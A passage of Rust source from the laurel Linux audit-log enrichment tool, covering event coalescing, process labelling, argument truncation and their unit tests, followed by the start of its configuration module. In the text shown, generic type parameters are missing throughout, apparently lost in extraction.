Process entry. syscall_is_exec = sn.contains("execve"); parent = self.processes.get_or_retrieve(proc.ppid).cloned(); let pr = if !syscall_is_exec { self.processes.get_or_retrieve(proc.pid) } else { None }; match pr { Some(pr) if proc.ppid == pr.ppid && proc.exe == pr.exe => { // existing, plausible process in table proc.key = pr.key; proc.parent = pr.parent; proc.labels = pr.labels.clone(); #[cfg(all(feature = "procfs", target_os = "linux"))] if self.settings.enrich_container { proc.container_info = match &pr.container_info { Some(ci) => Some(ci.clone()), _ => parent.as_ref().and_then(|p| p.container_info.clone()), }; } } _ => { // first syscall in new process proc.key = ProcessKey::Event(ev.id); if let Some(pa) = &parent { proc.parent = Some(pa.key); let propagated_labels = self .settings .proc_propagate_labels .intersection(&pa.labels) .cloned(); proc.labels.extend(propagated_labels); } #[cfg(all(feature = "procfs", target_os = "linux"))] if self.settings.enrich_container { let id = procfs::parse_proc_pid_cgroup(proc.pid).ok().flatten(); proc.container_info = match id { Some(id) => Some(ContainerInfo { id }), _ => parent.as_ref().and_then(|p| p.container_info.clone()), }; } self.processes.insert(proc.clone()); } }; if let Some(label_exe) = &self.settings.label_exe { for label in label_exe.matches(&proc.exe.clone().unwrap()) { proc.labels.insert(label.into()); } } if let Some(unlabel_exe) = &self.settings.unlabel_exe { for label in unlabel_exe.matches(&proc.exe.clone().unwrap()) { proc.labels.insert(label.into()); } } } } } if let Some(key) = &key { if self.settings.filter_keys.contains(key.as_ref()) { ev.filter = true; } if self.settings.proc_label_keys.contains(key.as_ref()) { proc.labels.insert(key.to_vec()); } } else if self.settings.filter_null_keys { ev.filter = true; } current_process = Some(proc); } if let Some(EventValues::Single(rv)) = ev.body.get_mut(&EXECVE) { let mut new: Vec<(Key, Value)> = Vec::with_capacity(2); let mut argv: Vec = Vec::with_capacity(1); for (k, v) in &rv.elems { match k { Key::ArgLen(_) => continue, Key::Arg(i, None) => { let idx = *i as usize; if argv.len() <= idx { argv.resize(idx + 1, Value::Empty); }; argv[idx] = v.clone(); } Key::Arg(i, Some(f)) => { let idx = *i as usize; if argv.len() <= idx { argv.resize(idx + 1, Value::Empty); argv[idx] = Value::Segments(Vec::new()); } if let Some(Value::Segments(l)) = argv.get_mut(idx) { let frag = *f as usize; let r = match v { Value::Str(r, _) => r, _ => &Range { start: 0, end: 0 }, // FIXME }; if l.len() <= frag { l.resize(frag + 1, 0..0); l[frag] = r.clone(); } } } _ => new.push((k.clone(), v.clone())), }; } // Strip data from the middle of excessively long ARGV if let Some(argv_max) = self.settings.execve_argv_limit_bytes { let argv_size: usize = argv.iter().map(|v| 1 + v.str_len()).sum(); if argv_size > argv_max { let diff = argv_size - argv_max; let skip_range = (argv_size - diff) / 2..(argv_size + diff) / 2; argv = { let mut filtered = Vec::new(); let mut start = 0; let mut skipped: Option<(usize, usize)> = None; for arg in argv.iter() { let end = start + arg.str_len(); if skip_range.contains(&start) || skip_range.contains(&end) { skipped = match skipped { None => Some((1, end - start)), Some((args, bytes)) => { Some((args + 1, 1 + bytes + (end - start))) } }; } else { if let Some((args, bytes)) = skipped { filtered.push(Value::Skipped((args, bytes))); skipped = None; } filtered.push(arg.clone()); } start = end + 1; } filtered }; } } // ARGV if self.settings.execve_argv_list { new.push((Key::Literal("ARGV"), Value::List(argv.clone()))); } // ARGV_STR if self.settings.execve_argv_string { new.push(( Key::Literal("ARGV_STR"), Value::StringifiedList(argv.clone()), )); } // ENV #[cfg(all(feature = "procfs", target_os = "linux"))] if let (Some(proc), false) = (¤t_process, self.settings.execve_env.is_empty()) { if let Ok(vars) = procfs::get_environ(proc.pid, |k| self.settings.execve_env.contains(k)) { let map = vars .iter() .map(|(k, v)| (SimpleKey::Str(rv.put(k)), SimpleValue::Str(rv.put(v)))) .collect(); new.push((Key::Literal("ENV"), Value::Map(map))); } } rv.elems = new; } // Handle script enrichment #[cfg(all(feature = "procfs", target_os = "linux"))] let script: Option = match (self.settings.enrich_script, &self.settings.label_script) { (false, None) => None, _ => match (¤t_process, ev.body.get(&PATH), syscall_is_exec) { (Some(proc), Some(EventValues::Multi(paths)), true) => { let mut cwd = &b"/"[..]; if let Some(EventValues::Single(r)) = ev.body.get(&CWD) { if let Some(rv) = r.get("cwd") { if let Value::Str(r, _) = rv.value { cwd = &rv.raw[r.clone()]; } } }; path_script_name( &paths[0], proc.pid, proc.ppid, cwd, &proc.exe.clone().unwrap_or_default(), ) } _ => None, }, }; #[cfg(all(feature = "procfs", target_os = "linux"))] if let (Some(ref mut proc), Some(script)) = (&mut current_process, &script) { if let Some(label_script) = &self.settings.label_script { for label in label_script.matches(script.as_ref()) { proc.labels.insert(label.into()); } } if let Some(unlabel_script) = &self.settings.unlabel_script { for label in unlabel_script.matches(script.as_ref()) { proc.labels.remove(label); } } } // filter early on labels if let Some(proc) = ¤t_process { self.processes.set_labels(&proc.key, &proc.labels); if proc .labels .iter() .any(|x| self.settings.filter_labels.contains(x)) { ev.filter = true; } } if ev.filter { return; } // Since the event may have been dropped here, don't // manipulate the current process below. let current_process = current_process; for tv in ev.body.iter_mut() { match tv { (&SYSCALL, EventValues::Single(_)) | (&EXECVE, EventValues::Single(_)) => {} (&SOCKADDR, EventValues::Multi(rvs)) => { for rv in rvs { let mut new = Vec::with_capacity(rv.elems.len()); let mut nrv = Record::default(); for (k, v) in &rv.elems { if let (Key::Name(name), Value::Str(vr, _)) = (k, v) { match name.as_ref() { b"saddr" if self.settings.translate_universal => { #[cfg(target_os = "linux")] if let Ok(sa) = SocketAddr::parse(&rv.raw[vr.clone()]) { let kv = ( Key::Literal("SADDR"), translate_socketaddr(&mut nrv, sa), ); nrv.elems.push(kv); continue; } } b"SADDR" if self.settings.translate_universal => continue, _ => {} } } new.push((k.clone(), v.clone())); } rv.elems = new; rv.extend(nrv); } } (&PROCTITLE, EventValues::Single(rv)) => { if let Some(v) = rv.get(b"proctitle") { if let Value::Str(r, _) = v.value { let mut argv: Vec = Vec::new(); let mut prev = r.start; for i in r.start..=r.end { if (i == r.end || rv.raw[i] == 0) && !(prev..i).is_empty() { argv.push(Value::Str(prev..i, Quote::None)); prev = i + 1; } } rv.elems = vec![(Key::Literal("ARGV"), Value::List(argv))]; } } } (_, EventValues::Single(rv)) => self.enrich_generic(rv), (_, EventValues::Multi(rvs)) => { for rv in rvs { self.enrich_generic(rv); } } } } // PARENT_INFO if let (true, Some(parent)) = (self.settings.enrich_parent_info, &parent) { let mut pi = Record::default(); if let ProcessKey::Event(id) = parent.key { let r = pi.put(format!("{}", id)); pi.elems .push((Key::Literal("ID"), Value::Str(r, Quote::None))); } if let Some(comm) = &parent.comm { let r = pi.put(comm); pi.elems .push((Key::Literal("comm"), Value::Str(r, Quote::None))); } if let Some(exe) = &parent.exe { let r = pi.put(exe); pi.elems .push((Key::Literal("exe"), Value::Str(r, Quote::None))); } let kv = ( Key::Literal("ppid"), Value::Number(Number::Dec(parent.ppid as i64)), ); pi.elems.push(kv); ev.body.insert(PARENT_INFO, EventValues::Single(pi)); } if let Some(EventValues::Single(sc)) = ev.body.get_mut(&SYSCALL) { if let (true, Some(an), Some(sn)) = (self.settings.translate_universal, arch_name, syscall_name) { sc.elems.push((Key::Literal("ARCH"), Value::Literal(an))); sc.elems.push((Key::Literal("SYSCALL"), Value::Literal(sn))); } if let (true, Some(parent)) = (self.settings.enrich_pid, &parent) { add_record_procinfo(sc, b"ppid", parent, true); } #[cfg(all(feature = "procfs", target_os = "linux"))] if let (true, Some(script)) = (self.settings.enrich_script, script) { let (k, v) = ( Key::Literal("SCRIPT"), Value::Str(sc.put(script), Quote::None), ); sc.elems.push((k, v)); } if let Some(proc) = current_process { if self.settings.enrich_pid { add_record_procinfo(sc, b"pid", &proc, false); } if !proc.labels.is_empty() { let labels = proc .labels .iter() .map(|l| Value::Str(sc.put(l), Quote::None)) .collect::>(); sc.elems.push((Key::Literal("LABELS"), Value::List(labels))); } #[cfg(all(feature = "procfs", target_os = "linux"))] if let (true, Some(c)) = (self.settings.enrich_container, &proc.container_info) { let mut ci = Record::default(); let r = ci.put(hex_string(&c.id)); ci.elems .push((Key::Literal("ID"), Value::Str(r, Quote::None))); ev.body.insert(CONTAINER_INFO, EventValues::Single(ci)); } } } } /// Do bookkeeping on event, transform, emit it via the provided /// output function. fn emit_event(&mut self, mut ev: Event) { self.done.insert((ev.node.clone(), ev.id)); self.transform_event(&mut ev); (self.emit_fn)(&ev) } /// Ingest a log line and add it to the coalesce object. /// /// Simple one-liner events are emitted immediately. /// /// For complex multi-line events (SYSCALL + additional /// information), corresponding records are collected. The entire /// event is emitted only when an EOE ("end of event") line for /// the event is encountered. /// /// The line is consumed and serves as backing store for the /// EventBody objects. pub fn process_line(&mut self, line: Vec) -> Result<(), CoalesceError> { let filter_raw = self.settings.filter_raw_lines.is_match(&line); let skip_enriched = self.settings.translate_universal && self.settings.translate_userdb; let (node, typ, id, rv) = parse(line, skip_enriched).map_err(CoalesceError::Parse)?; let nid = (node.clone(), id); // clean out state every EXPIRE_PERIOD match self.next_expire { Some(t) if t < id.timestamp => { self.expire_inflight(id.timestamp); self.expire_done(id.timestamp); self.processes.expire(); self.next_expire = Some(id.timestamp + EXPIRE_PERIOD) } None => self.next_expire = Some(id.timestamp + EXPIRE_PERIOD), _ => (), }; if typ == EOE { if self.done.contains(&nid) { return Err(CoalesceError::DuplicateEvent(id)); } let ev = self .inflight .remove(&nid) .ok_or(CoalesceError::SpuriousEOE(id))?; self.emit_event(ev); } else if typ.is_multipart() { // kernel-level messages if !self.inflight.contains_key(&nid) { self.inflight.insert(nid.clone(), Event::new(node, id)); } let ev = self.inflight.get_mut(&nid).unwrap(); ev.filter |= filter_raw; match ev.body.get_mut(&typ) { Some(EventValues::Single(v)) => v.extend(rv), Some(EventValues::Multi(v)) => v.push(rv), None => match typ { SYSCALL => { ev.body.insert(typ, EventValues::Single(rv)); } EXECVE | PROCTITLE | CWD => { ev.body.insert(typ, EventValues::Single(rv)); } _ => { ev.body.insert(typ, EventValues::Multi(vec![rv])); } }, }; } else { // user-space messages if self.done.contains(&nid) { return Err(CoalesceError::DuplicateEvent(id)); } let mut ev = Event::new(node, id); ev.filter |= filter_raw; ev.body.insert(typ, EventValues::Single(rv)); self.emit_event(ev); } Ok(()) } /// Flush all in-flight event data, including partial events pub fn flush(&mut self) { self.expire_inflight(u64::MAX); } pub fn dump_state(&self, mut w: &mut dyn Write) -> Result<(), Box> { serde_json::to_writer( &mut w, &json!({ "ts": SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs(), "message": { "type": "dump_state", "label_exe": self.settings.label_exe, "inflight": self.inflight.iter().map( |(k,v)| { if let Some(node) = &k.0 { (format!("{}::{}", String::from_utf8_lossy(node), k.1), v) } else { (format!("{}", k.1), v) } } ).collect::>(), "done": self.done.iter().map( |v| if let Some(node ) = &v.0 { format!("{}::{}", String::from_utf8_lossy(node), v.1) } else { format!("{}", v.1) } ).collect::>(), "processes": self.processes, "userdb": self.userdb, "next_expire": self.next_expire, }, }), )?; w.write_all(b"\n")?; w.flush()?; Ok(()) } } impl Drop for Coalesce<'_> { fn drop(&mut self) { self.flush(); } } #[cfg(test)] mod test { use super::*; use serde_json; use std::cell::RefCell; use std::io::{BufRead, BufReader}; use std::rc::Rc; fn event_to_json(e: &Event) -> String { let mut out = vec![]; serde_json::to_writer(&mut out, e).unwrap(); String::from_utf8_lossy(&out).to_string() } #[test] fn dump_state() -> Result<(), Box> { let mut c = Coalesce::new(|_| {}); c.initialize()?; c.process_line(br#"type=SYSCALL msg=audit(1615114232.375:15558): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=10883 pid=10884 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="whoami" exe="/usr/bin/whoami" key=(null) "#.to_vec())?; let mut buf: Vec = vec![]; c.dump_state(&mut buf)?; println!("{}", String::from_utf8_lossy(&buf)); Ok(()) } fn strip_enriched(text: T) -> Vec where T: AsRef<[u8]>, { let mut out = vec![]; for line in BufReader::new(text.as_ref()).lines() { let line = line.unwrap().clone(); for c in line.as_bytes() { match *c as char { '\x1d' => break, _ => out.push(*c), }; } out.push('\n' as u8); } out } fn process_record(c: &mut Coalesce, text: T) -> Result<(), Box> where T: AsRef<[u8]>, { for line in BufReader::new(text.as_ref()) .lines() .filter(|line| match line { Ok(l) if l.len() == 0 => false, Ok(l) if l.starts_with("#") => false, _ => true, }) { let mut line = line.unwrap().clone(); line.push('\n'); c.process_line(line.as_bytes().to_vec())?; } Ok(()) } #[test] fn coalesce() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(Vec::new())); let mut c = Coalesce::new(mk_emit_vec(&ec)); process_record(&mut c, include_bytes!("testdata/line-user-acct.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615113648981, sequence: 15220 } ); if let Ok(_) = process_record(&mut c, include_bytes!("testdata/line-user-acct.txt")) { panic!("failed to detect duplicate entries"); }; process_record(&mut c, include_bytes!("testdata/record-execve.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615114232375, sequence: 15558 } ); process_record(&mut c, include_bytes!("testdata/record-execve-long.txt"))?; assert_eq!( ec.borrow().last().unwrap().id, EventID { timestamp: 1615150974493, sequence: 21028 } ); // recordds do not begin with SYSCALL. process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; process_record(&mut c, include_bytes!("testdata/record-adjntpval.txt"))?; process_record(&mut c, include_bytes!("testdata/record-avc-apparmor.txt"))?; let mut c = Coalesce::new(mk_emit_vec(&ec)); c.settings.translate_userdb = true; c.settings.drop_translated = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-execve.txt")), )?; let gid0name = nix::unistd::Group::from_gid(0.into()) .unwrap() .unwrap() .name; let output = event_to_json(ec.borrow().last().unwrap()); println!("{}", output); assert!( output.contains(r#""UID":"root","#), "output contains translated UID" ); assert!( output.contains(&format!(r#""EGID":"{gid0name}","#)), "output contains translated EGID" ); assert!( !output.contains(r#""uid":"0,"#), "output does not contain raw uid" ); assert!( !output.contains(r#""egid":0,"#), "output does not contain raw egid" ); Ok(()) } #[test] fn duplicate_uids() { let ec = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.enrich_pid = false; c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record(&mut c, include_bytes!("testdata/record-login.txt")).unwrap(); if let EventValues::Multi(records) = &ec.borrow().as_ref().unwrap().body[&LOGIN] { // Check for: pid uid subj old-auid auid tty old-ses ses res UID OLD-AUID AUID let l = records[0].elems.len(); assert!( l == 12, "expected 12 fields, got {}: {:?}", l, records[0].into_iter().collect::>() ); } else { panic!("expected EventValues::Multi"); }; } #[test] fn keep_enriched_syscalls() { let ec = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); process_record(&mut c, include_bytes!("testdata/record-execve.txt")).unwrap(); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#""ARCH":"x86_64""#)); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#""SYSCALL":"execve""#)); } #[test] fn translate_uids() { let ec = Rc::new(RefCell::new(None)); let gid0name = nix::unistd::Group::from_gid(0.into()) .unwrap() .unwrap() .name; let mut c = Coalesce::new(|e: &Event| *ec.borrow_mut() = Some(e.clone())); c.settings.translate_userdb = true; c.settings.translate_universal = true; process_record( &mut c, strip_enriched(include_bytes!("testdata/record-login.txt")), ) .unwrap(); if let EventValues::Single(record) = &ec.borrow().as_ref().unwrap().body[&SYSCALL] { let mut uids = 0; let mut gids = 0; for (k, v) in record { if k.to_string().ends_with("UID") { uids += 1; assert!(&v == "root", "Got {}={:?}, expected root", k, v); } if k.to_string().ends_with("GID") { gids += 1; assert!(&v == gid0name.as_str(), "Got {}={:?}, expected root", k, v); } } assert!( uids == 5 && gids == 4, "Got {} uids/{} gids, expected 5/4", uids, gids ); } if let EventValues::Multi(records) = &ec.borrow().as_ref().unwrap().body[&LOGIN] { let mut uid = false; let mut old_auid = false; let mut auid = false; // UID="root" OLD-AUID="unset" AUID="root" for (k, v) in &records[0] { if k == "UID" && &v == "root" { uid = true; } if k == "OLD-AUID" && &v == "unset" { old_auid = true; } if k == "AUID" && &v == "root" { auid = true; } } assert!( uid, "missing UID: {:?}", records[0].into_iter().collect::>() ); assert!( old_auid, "missing OLD-AUID: {:?}", records[0].into_iter().collect::>() ); assert!( auid, "missing AUID: {:?}", records[0].into_iter().collect::>() ); } else { panic!("expected EventValues::Multi"); }; } #[test] fn key_label() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings .proc_label_keys .insert(Vec::from(&b"software_mgmt"[..])); c.settings .proc_propagate_labels .insert(Vec::from(&b"software_mgmt"[..])); process_record(&mut c, include_bytes!("testdata/tree/00.txt"))?; { assert!( event_to_json(ec.borrow().as_ref().unwrap()) .contains(r#""LABELS":["software_mgmt"]"#), "process gets 'software_mgmt' label from key" ); } process_record(&mut c, include_bytes!("testdata/tree/01.txt"))?; { assert!( event_to_json(ec.borrow().as_ref().unwrap()) .contains(r#""LABELS":["software_mgmt"]"#), "child process inherits 'software_mgmt' label" ); } Ok(()) } #[test] fn label_exe() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let lm = LabelMatcher::new(&[("whoami", "recon")])?; let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_exe = Some(lm.clone()); process_record(&mut c, include_bytes!("testdata/record-execve.txt"))?; drop(c); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["recon"]"#)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.label_exe = Some(lm); process_record( &mut c, strip_enriched(include_bytes!("testdata/record-execve.txt")), )?; drop(c); assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"LABELS":["recon"]"#)); Ok(()) } // Returns an emitter function that puts the event into an Option fn mk_emit(ec: &Rc>>) -> impl FnMut(&Event) + '_ { return |ev: &Event| { if !ev.filter { *ec.borrow_mut() = Some(ev.clone()); } }; } // Returns an emitter function that appends the event onto a Vec fn mk_emit_vec(ec: &Rc>>) -> impl FnMut(&Event) + '_ { return |ev: &Event| { if !ev.filter { ec.borrow_mut().push(ev.clone()); } }; } #[test] fn filter_key() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings .filter_keys .insert(Vec::from(&b"filter-this"[..])); c.settings.filter_keys.insert(Vec::from(&b"this-too"[..])); process_record(&mut c, include_bytes!("testdata/record-syscall-key.txt"))?; drop(c); assert!(ec.borrow().as_ref().is_none()); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.filter_null_keys = true; process_record( &mut c, include_bytes!("testdata/record-syscall-nullkey.txt"), )?; drop(c); assert!(ec.borrow().as_ref().is_none()); let mut c = Coalesce::new(mk_emit(&ec)); c.settings .filter_keys .insert(Vec::from(&b"random-filter"[..])); process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; drop(c); assert!(!ec.borrow().as_ref().is_none()); Ok(()) } #[test] fn filter_label() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings .proc_label_keys .insert(Vec::from(&b"software_mgmt"[..])); c.settings .filter_labels .insert(Vec::from(&b"software_mgmt"[..])); c.settings .proc_propagate_labels .insert(Vec::from(&b"software_mgmt"[..])); process_record(&mut c, include_bytes!("testdata/tree/00.txt"))?; { assert!(ec.borrow().as_ref().is_none()); } process_record(&mut c, include_bytes!("testdata/tree/01.txt"))?; { assert!(ec.borrow().as_ref().is_none()); } process_record(&mut c, include_bytes!("testdata/record-login.txt"))?; { assert!(event_to_json(ec.borrow().as_ref().unwrap()).contains(r#"/usr/sbin/cron"#)); } drop(c); Ok(()) } #[test] fn filter_raw() { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings.filter_raw_lines = regex::bytes::RegexSet::new(&[ "^type=SOCKADDR (?:node=\\$*? )?msg=audit\\(\\S*?\\): saddr=01002F7661722F72756E2F6E7363642F736F636B657400", ]) .expect("failed to compile regex"); process_record(&mut c, include_bytes!("testdata/record-nscd.txt")).unwrap(); assert!( events.borrow().is_empty(), "nscd connect event should be filtered" ) } #[test] fn strip_long_argv() -> Result<(), Box> { let ec: Rc>> = Rc::new(RefCell::new(None)); let mut c = Coalesce::new(mk_emit(&ec)); c.settings.execve_argv_limit_bytes = Some(10000); let mut buf = vec![]; let msgid = "1663143990.204:2148478"; let npath = 40000; buf.extend( format!(r#"type=SYSCALL msg=audit({}): arch=c000003e syscall=59 success=yes exit=0 a0=1468e584be18 a1=1468e57f5078 a2=1468e584bd68 a3=7ffc3e352220 items=2 ppid=9264 pid=9279 auid=4294967295 uid=995 gid=992 euid=995 suid=995 fsuid=995 egid=992 sgid=992 fsgid=992 tty=(none) ses=4294967295 comm="find" exe="/usr/bin/find" key=(null) "#, msgid).bytes()); buf.extend( format!( r#"type=EXECVE msg=audit({}): argc={} a0="/usr/bin/find" "#, msgid, npath + 9 ) .bytes(), ); for i in 1..npath { if i % 70 == 0 { buf.extend(format!("\ntype=EXECVE msg=audit({}): ", msgid).bytes()); } else { buf.push(b' '); } buf.extend(format!(r#"a{}="/opt/app/redacted/to/protect/the/guilty/output_processing.2022-09-06.{:05}.garbage""#,i,i).bytes()); } // buf.extend(format!("type=EXECVE msg=audit({}):", msgid).bytes()); for (i, param) in [ "-type", "f", "-mtime", "+7", "-exec", "/usr/bin/rm", "-f", "{}", ";", ] .iter() .enumerate() { buf.extend(format!(r#" a{}="{}""#, npath + i, param).bytes()); } buf.extend(format!("\ntype=EOE msg=audit({}): \n", msgid).bytes()); process_record(&mut c, &buf)?; { let output = event_to_json(ec.borrow().as_ref().unwrap()); assert!(output.len() < 15000); assert!( output.find(".00020.garbage").is_some(), "Can't find start of argv" ); assert!( output.find(".39980.garbage").is_some(), "Can't find end of argv" ); assert!( output.find(".20000.garbage").is_none(), "Should not see middle of argv" ); } Ok(()) } #[test] fn shell_proc_trace() { let s1 = Settings { proc_label_keys: [b"test-script".to_vec()].into(), proc_propagate_labels: [b"test-script".to_vec()].into(), ..Settings::default() }; let s2 = Settings { filter_keys: [b"fork".to_vec()].into(), ..s1.clone() }; for (n, s) in [s1, s2].iter().enumerate() { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings = s.clone(); println!("Using configuration #{n}"); process_record(&mut c, include_bytes!("testdata/shell-proc-trace.txt")).unwrap(); let events = events.borrow(); let mut ids = vec![ "1682609045.526:29238", "1682609045.530:29242", "1682609045.530:29244", "1682609045.534:29245", ]; if n == 0 { ids.extend([ "1682609045.530:29240", "1682609045.530:29241", "1682609045.530:29243", ]); } for id in ids { let event = events .iter() .find(|e| e.id.to_string() == id) .expect(&format!("Did not find {id}")); assert!( event_to_json(&event).contains(r#""LABELS":["test-script"]"#), "{id} was not labelled correctly." ); } } } #[test] fn shell_proc_trace_confusion() { let s1 = Settings { proc_label_keys: [b"test-script".to_vec()].into(), proc_propagate_labels: [b"test-script".to_vec()].into(), ..Settings::default() }; let s2 = Settings { filter_keys: [b"fork".to_vec()].into(), ..s1.clone() }; for (n, s) in [s1, s2].iter().enumerate() { let events: Rc>> = Rc::new(RefCell::new(vec![])); let mut c = Coalesce::new(mk_emit_vec(&events)); c.settings = s.clone(); println!("Using configuration #{n}"); process_record( &mut c, include_bytes!("testdata/shell-proc-trace-confusion.txt"), ) .unwrap(); let events = events.borrow(); for id in ["1697091525.582:2588684", "1697091526.357:2638035"] { let event = events .iter() .find(|e| e.id.to_string() == id) .expect(&format!("Did not find {id}")); println!("{}", event_to_json(&event)); } let id = "1697091526.357:2638035"; let event = events .iter() .find(|e| e.id.to_string() == id) .expect(&format!("Did not find {id}")); assert!( event_to_json(&event).contains( r#""PPID":{"EVENT_ID":"1697091526.357:2638033","comm":"csh","exe":"/bin/tcsh","ppid":2542}"#), "Did not get correct parent for {}",id); println!("{}", event_to_json(&event)); } } } laurel-0.5.6/src/config.rs000064400000000000000000000275501046102023000135330ustar 00000000000000use std::collections::HashSet; use std::fmt; use std::path::{Path, PathBuf}; use serde::{ de::{self, Deserializer, Visitor}, Deserialize, Serialize, }; use crate::coalesce::Settings; use crate::label_matcher::LabelMatcher; #[derive(Clone, Default, Debug, Serialize, Deserialize, Eq, PartialEq)] pub struct Logfile { #[serde(default)] pub file: PathBuf, #[serde(rename = "read-users")] pub users: Option>, pub size: Option, pub generations: Option, #[serde(rename = "line-prefix")] pub line_prefix: Option, } #[derive(Clone, Debug, Default, Serialize, Deserialize, Eq, PartialEq)] pub struct Debug { pub log: Option, #[serde(rename = "parse-error-log")] pub parse_error_log: Option, #[serde(rename = "dump-state-period")] pub dump_state_period: Option, } #[derive(PartialEq, Eq, Debug, Serialize, Deserialize, Hash)] #[serde(rename_all = "lowercase")] pub enum ArrayOrString { Array, String, } fn execve_argv_default() -> HashSet { let mut execve_argv = HashSet::new(); execve_argv.insert(ArrayOrString::Array); execve_argv } #[derive(Debug, Serialize, Deserialize)] pub struct Transform { #[serde(default = "execve_argv_default", rename = "execve-argv")] pub execve_argv: HashSet, #[serde(default, rename = "execve-argv-limit-bytes")] pub execve_argv_limit_bytes: Option, } impl Default for Transform { fn default() -> Self { Transform { execve_argv: execve_argv_default(), execve_argv_limit_bytes: None, } } } #[derive(Debug, Default, Serialize, Deserialize)] pub struct Translate { #[serde(default)] pub universal: bool, #[serde(default, rename = "user-db")] pub userdb: bool, #[serde(default, rename = "drop-raw")] pub drop_raw: bool, } fn execve_env_default() -> HashSet { let mut execve_env = HashSet::new(); execve_env.insert("LD_PRELOAD".into()); execve_env.insert("LD_LIBRARY_PATH".into()); execve_env } fn true_value() -> bool { true } fn false_value() -> bool { false } #[derive(Debug, Serialize, Deserialize)] pub struct Enrich { #[serde(default = "execve_env_default", rename = "execve-env")] pub execve_env: HashSet, #[serde(default = "true_value")] pub container: bool, #[serde(default = "true_value")] pub pid: bool, #[serde(default = "false_value", rename = "parent-info")] pub parent_info: bool, #[serde(default = "true_value")] pub script: bool, } impl Default for Enrich { fn default() -> Self { Enrich { execve_env: execve_env_default(), container: true, pid: true, parent_info: false, script: true, } } } #[derive(Default, Debug, Serialize, Deserialize)] pub struct LabelProcess { #[serde(default, rename = "label-keys")] pub label_keys: HashSet, #[serde(default, rename = "label-exe")] pub label_exe: Option, #[serde(default, rename = "unlabel-exe")] pub unlabel_exe: Option, #[serde(default, rename = "label-script")] pub label_script: Option, #[serde(default, rename = "unlabel-script")] pub unlabel_script: Option, #[serde(default, rename = "propagate-labels")] pub propagate_labels: HashSet, } #[derive(Default, Debug, Serialize, Deserialize)] #[serde(rename_all = "lowercase")] pub enum FilterAction { #[default] #[serde(alias = "Drop")] Drop, #[serde(alias = "Log")] Log, } pub(crate) mod regex_set { use regex::bytes::RegexSet; use serde::{Deserialize, Deserializer, Serialize, Serializer}; pub(crate) fn serialize(v: &RegexSet, s: S) -> Result where S: Serializer, { v.patterns().to_vec().serialize(s) } pub(crate) fn deserialize<'de, D>(d: D) -> Result where D: Deserializer<'de>, { let v: Vec = Deserialize::deserialize(d)?; RegexSet::new(v).map_err(serde::de::Error::custom) } } #[derive(Default, Debug, Serialize, Deserialize)] pub struct Filter { #[serde(default, rename = "filter-keys")] pub filter_keys: HashSet, #[serde(default, rename = "filter-labels")] pub filter_labels: HashSet, #[serde(default, rename = "filter-raw-lines", with = "regex_set")] pub filter_raw_lines: regex::bytes::RegexSet, #[serde(default, rename = "filter-null-keys")] pub filter_null_keys: bool, #[serde(default, rename = "filter-action")] pub filter_action: FilterAction, } #[derive(Debug, Serialize)] pub enum Input { Stdin, Unix(PathBuf), } impl Default for Input { fn default() -> Self { Input::Stdin } } impl std::fmt::Display for Input { fn fmt(&self, fmt: &mut std::fmt::Formatter) -> Result<(), std::fmt::Error> { match self { Input::Stdin => write!(fmt, "stdin"), Input::Unix(p) => write!(fmt, "unix:{}", p.to_string_lossy()), } } } impl<'de> Deserialize<'de> for Input { fn deserialize>(deserializer: D) -> Result { deserializer.deserialize_str(InputVisitor {}) } } struct InputVisitor {} impl<'de> Visitor<'de> for InputVisitor { type Value = Input; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { write!(formatter, "an input specification string") } fn visit_str(self, s: &str) -> Result where E: de::Error, { if s == "stdin" { Ok(Input::Stdin) } else if let Some(s) = s.strip_prefix("unix:") { let p = Path::new(s).to_path_buf(); Ok(Input::Unix(p)) } else { Err(de::Error::custom("unrecognized input specification")) } } } #[derive(Debug, Serialize, Deserialize)] pub struct Config { pub user: Option, pub directory: Option, #[serde(default)] pub input: Input, #[serde(default, rename = "statusreport-period")] pub statusreport_period: Option, #[serde(default)] pub auditlog: Logfile, #[serde(default)] pub filterlog: Logfile, #[serde(default)] pub debug: Debug, #[serde(default)] pub transform: Transform, #[serde(default)] pub translate: Translate, #[serde(default)] pub enrich: Enrich, #[serde(default, rename = "label-process")] pub label_process: LabelProcess, #[serde(default)] pub filter: Filter, } impl Default for Config { fn default() -> Self { Config { user: None, directory: Some(".".into()), input: Input::Stdin, statusreport_period: None, auditlog: Logfile { file: "audit.log".into(), users: None, size: Some(10 * 1024 * 1024), generations: Some(5), line_prefix: None, }, filterlog: Logfile { file: "filtered.log".into(), users: None, size: Some(10 * 1024 * 1024), generations: Some(5), line_prefix: None, }, debug: Debug::default(), transform: 